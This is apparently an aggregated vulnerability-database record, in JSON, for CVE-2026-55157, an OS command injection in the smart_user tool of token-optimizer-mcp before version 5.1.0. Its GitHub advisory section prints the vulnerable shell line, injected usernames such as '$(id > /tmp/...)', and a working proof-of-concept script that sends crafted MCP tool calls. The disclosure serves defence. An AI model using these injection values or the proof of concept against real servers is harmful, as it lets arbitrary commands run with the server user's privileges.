{"id":"EUVD-2026-88397","revision":null,"records":[{"revision":"fc16751307924a0188d234d8a00514d2","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-55157","aliases":[],"title":"Token Optimizer MCP: OS command injection in smart_user via username in get-user-info","description":"Token Optimizer MCP measures token savings per AI coding agent, optimizes context, and shares a live local knowledge graph across 16 CLI clients. Prior to version 5.1.0, token-optimizer-mcp is vulnerable to OS command injection in the smart_user tool. Any MCP client that can call the smart_user tool can execute arbitrary shell commands through the username argument of the get-user-info operation. The commands execute with the privileges of the user running the token-optimizer-mcp server. This issue has been patched in version 5.1.0.","state":0,"publishedAt":"2026-09-28T17:48:16.422+00:00","modifiedAt":"2026-10-01T14:47:57.868+00:00","affected":[{"ecosystem":"Vendor product","name":"token-optimizer-mcp","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"ooples\",\n                    \"product\": \"token-optimizer-mcp\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 5.1.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"severity":"HIGH"}],"references":["https://github.com/ooples/token-optimizer-mcp/security/advisories/GHSA-49mq-fc6q-3h46","https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7","https://github.com/ooples/token-optimizer-mcp/releases/tag/v5.1.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-55157","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-55157","identifiers":["CVE-2026-55157"]},"retained":false,"historicalAffected":[]},{"revision":"da22915158f94f6d8cc6f3c428f03b5d","observedAt":"2026-11-11T16:11:20.058+00:00","statement":{"source":"euvd","id":"EUVD-2026-88397","aliases":["CVE-2026-55157","GHSA-49mq-fc6q-3h46"],"title":"Token Optimizer MCP measures token savings per AI coding agent, optimizes context, and shares a live local knowledge graph across 16 CLI clients. Prior to version 5.1.0, token-optimizer-mcp is vulnerable to OS command injection in the smart…","description":"Token Optimizer MCP measures token savings per AI coding agent, optimizes context, and shares a live local knowledge graph across 16 CLI clients. Prior to version 5.1.0, token-optimizer-mcp is vulnerable to OS command injection in the smart_user tool. Any MCP client that can call the smart_user tool can execute arbitrary shell commands through the username argument of the get-user-info operation. The commands execute with the privileges of the user running the token-optimizer-mcp server. This issue has been patched in version 5.1.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"severity":null}],"references":["https://github.com/ooples/token-optimizer-mcp/security/advisories/GHSA-49mq-fc6q-3h46","https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7","https://github.com/ooples/token-optimizer-mcp/releases/tag/v5.1.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-88397","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 28, 2026, 5:48:16 PM","dateUpdated":"Oct 1, 2026, 2:47:57 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-88397","identifiers":["EUVD-2026-88397","CVE-2026-55157","GHSA-49mq-fc6q-3h46"]},"retained":false,"historicalAffected":[]},{"revision":"7dadd7e773dc47198989881d7d383334","observedAt":"2026-10-25T13:17:34.255+00:00","statement":{"source":"nvd","id":"CVE-2026-55157","aliases":[],"title":"Token Optimizer MCP measures token savings per AI coding agent, optimizes context, and shares a live local knowledge graph across 16 CLI clients. Prior to version 5.1.0, token-optimizer-mcp is vulnerable to OS command injection in the smart…","description":"Token Optimizer MCP measures token savings per AI coding agent, optimizes context, and shares a live local knowledge graph across 16 CLI clients. Prior to version 5.1.0, token-optimizer-mcp is vulnerable to OS command injection in the smart_user tool. Any MCP client that can call the smart_user tool can execute arbitrary shell commands through the username argument of the get-user-info operation. The commands execute with the privileges of the user running the token-optimizer-mcp server. This issue has been patched in version 5.1.0.","state":0,"publishedAt":"2026-09-28T18:17:23.373+00:00","modifiedAt":"2026-10-01T15:17:30.207+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"severity":"HIGH"}],"references":["https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7","https://github.com/ooples/token-optimizer-mcp/releases/tag/v5.1.0","https://github.com/ooples/token-optimizer-mcp/security/advisories/GHSA-49mq-fc6q-3h46"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55157","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-78"],"productCriteria":[],"sourceDates":{"published":"2026-09-28T18:17:23.373","lastModified":"2026-10-01T15:17:30.207"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-55157","identifiers":["CVE-2026-55157"]},"retained":false,"historicalAffected":[]},{"revision":"136b8c3c5b3f4f9a97566591274adbaf","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-49mq-fc6q-3h46","aliases":["CVE-2026-55157"],"title":"Token Optimizer MCP: OS command injection in smart_user via username in get-user-info","description":"### Summary\n\n`token-optimizer-mcp` is vulnerable to OS command injection in the `smart_user` tool.\n\nThe `get-user-info` operation accepts a user-controlled `username` argument and later interpolates it into a shell command executed through `execAsync()`:\n\n```ts\ngetent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd\n```\n\nAlthough the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as `$(...)` and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:\n\n```text\n$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)\n```\n\nand execute arbitrary local commands with the privileges of the user running the MCP server.\n\nThis is a CWE-78 OS command injection issue.\n\nTested version:\n\n```text\n@ooples/token-optimizer-mcp v5.0.1\nMCP serverInfo.name: token-optimizer-mcp\nMCP serverInfo.version: 0.2.0\n```\n\nThis issue is not related to the current `npm audit` dependency advisories. The vulnerability is in `token-optimizer-mcp`'s own tool implementation.\n\n---\n\n### Details\n\nThe vulnerable code path is in the `smart_user` implementation.\n\nThe `username` argument is eventually passed into a shell command similar to:\n\n```ts\nconst { stdout: passwdOut } = await execAsync(\n  `getent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd`\n);\n```\n\nThe problem is that `username` is controlled by the MCP tool caller and is inserted into a command string executed by a shell.\n\nDouble quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:\n\n```bash\n\"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)\"\n\"`id`\"\n```\n\nTherefore, a malicious `username` can execute arbitrary commands before `getent` or `grep` receives its arguments.\n\nThe affected MCP tool call is:\n\n```text\ntool: smart_user\noperation: get-user-info\nargument: username\n```\n\nRoot cause:\n\n```text\nMCP-controlled username\n→ interpolated into shell command string\n→ executed through execAsync()\n→ shell evaluates $(...) / backticks\n→ arbitrary command execution\n```\n\n---\n\n### PoC\n\nThe following PoC runs a harmless `id` command and writes the result to a temporary file under `/tmp`.\n\nPrerequisites:\n\n```text\nNode.js installed\ntoken-optimizer-mcp built from source\n```\n\nBuild from source:\n\n```bash\ngit clone https://github.com/ooples/token-optimizer-mcp.git\ncd token-optimizer-mcp\nnpm install\nnpm run build\n```\n\nRun the PoC:\n\n```bash\ncd /path/to/token-optimizer-mcp\n\nENTRY=dist/server/index.js\nID_OUT=\"/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$\"\nrm -f \"$ID_OUT\"\n\necho \"[*] ENTRY=$ENTRY\"\necho \"[*] id output file: $ID_OUT\"\n\npython3 - \"$ID_OUT\" <<'PY' | timeout 20 node \"$ENTRY\" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log\nimport json\nimport sys\n\nid_out = sys.argv[1]\n\n# This value is inserted into:\n# getent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd\n# Command substitution still executes inside double quotes.\nevil_username = f'$(id > {id_out})'\n\nmessages = [\n    {\n        \"jsonrpc\": \"2.0\",\n        \"id\": \"init\",\n        \"method\": \"initialize\",\n        \"params\": {\n            \"protocolVersion\": \"2024-11-05\",\n            \"capabilities\": {},\n            \"clientInfo\": {\n                \"name\": \"poc\",\n                \"version\": \"0\"\n            }\n        }\n    },\n    {\n        \"jsonrpc\": \"2.0\",\n        \"method\": \"notifications/initialized\",\n        \"params\": {}\n    },\n    {\n        \"jsonrpc\": \"2.0\",\n        \"id\": \"poc-smart-user\",\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"smart_user\",\n            \"arguments\": {\n                \"operation\": \"get-user-info\",\n                \"username\": evil_username,\n                \"useCache\": False\n            }\n        }\n    }\n]\n\nfor msg in messages:\n    print(json.dumps(msg), flush=True)\nPY\n\nsleep 1\n\nif [ -f \"$ID_OUT\" ]; then\n  echo \"[VULN CONFIRMED] smart_user command injection executed:\"\n  cat \"$ID_OUT\"\n  ls -l \"$ID_OUT\"\nelse\n  echo \"[FAIL] smart_user id output file not created\"\n  tail -120 /tmp/token_optimizer_smart_user_poc.log\nfi\n```\n\nExpected result:\n\n```text\n[VULN CONFIRMED] smart_user command injection executed:\nuid=1001(<local-user>) gid=1001(<local-user>) groups=...\n-rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...\n```\n\nIn my test, the MCP response also showed that the payload reached the shell command:\n\n```text\nCommand failed: getent passwd \"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)\" || grep \"^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):\" /etc/passwd\n```\n\nThe file `/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...` was created and contained the output of `id`, confirming command execution as the MCP server user.\n\nA simpler marker-file variant also works:\n\n```json\n{\n  \"operation\": \"get-user-info\",\n  \"username\": \"$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)\",\n  \"useCache\": false\n}\n```\n\n---\n\n### Impact\n\nThis is an OS command injection vulnerability.\n\nAny MCP client that can call the `smart_user` tool can execute arbitrary shell commands through the `username` argument of the `get-user-info` operation.\n\nThe commands execute with the privileges of the user running the `token-optimizer-mcp` server.\n\nConfirmed impact:\n\n```text\nexecution of `id` as the MCP server user\narbitrary file creation under /tmp through an injected command\n```","state":0,"publishedAt":"2026-08-14T21:42:06+00:00","modifiedAt":"2026-08-14T21:56:05.559576+00:00","affected":[{"ecosystem":"npm","name":"@ooples/token-optimizer-mcp","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"5.1.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/ooples/token-optimizer-mcp/security/advisories/GHSA-49mq-fc6q-3h46","https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7","https://github.com/ooples/token-optimizer-mcp","https://github.com/ooples/token-optimizer-mcp/releases/tag/v5.1.0"],"sourceUrl":"https://github.com/advisories/GHSA-49mq-fc6q-3h46","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-49mq-fc6q-3h46","identifiers":["GHSA-49mq-fc6q-3h46","CVE-2026-55157"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T01:04:03.8350163+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T01:04:03.8350163+00:00","lastSuccessAt":"2026-11-12T01:04:03.9938616+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:04:03.9938674+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85","complete":true,"records":424534,"lastAttemptAt":"2026-11-12T01:04:03.0430554+00:00","lastSuccessAt":"2026-11-12T01:04:03.0392424+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:04:03.0430554+00:00","snapshotPublishedAt":"2026-11-12T00:38:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a94795ede0ae44029956ac706676d1f3","complete":false,"records":13760,"lastAttemptAt":"2026-11-12T01:14:30.2249693+00:00","lastSuccessAt":"2026-11-12T01:14:30.219+00:00","error":"595 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-12T01:14:30.219+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13189,"expectedIdentifiers":13813,"failedIdentifiers":595},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T01:04:03.8350163+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T01:04:03.8350163+00:00","lastSuccessAt":"2026-11-12T01:04:03.9946093+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:04:03.9946097+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-edde915f937c494687954d1458194597","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T01:04:54.1042073+00:00","lastSuccessAt":"2026-11-12T01:04:54.101+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:04:54.101+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T01:04:03.677751+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:04:03.677751+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T01:04:03.0997578+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:04:03.0997578+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-12T01:04:03.6923394+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:04:03.6923394+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-685fe7fb2b690656c910a1ea42a9d294e8353311ac8ecfa691a9b0ff1b328804","complete":true,"records":231695,"lastAttemptAt":"2026-11-12T01:04:03.5701135+00:00","lastSuccessAt":"2026-11-11T21:58:47.7265713+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:04:03.5701135+00:00","snapshotPublishedAt":"2026-11-11T21:48:35+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}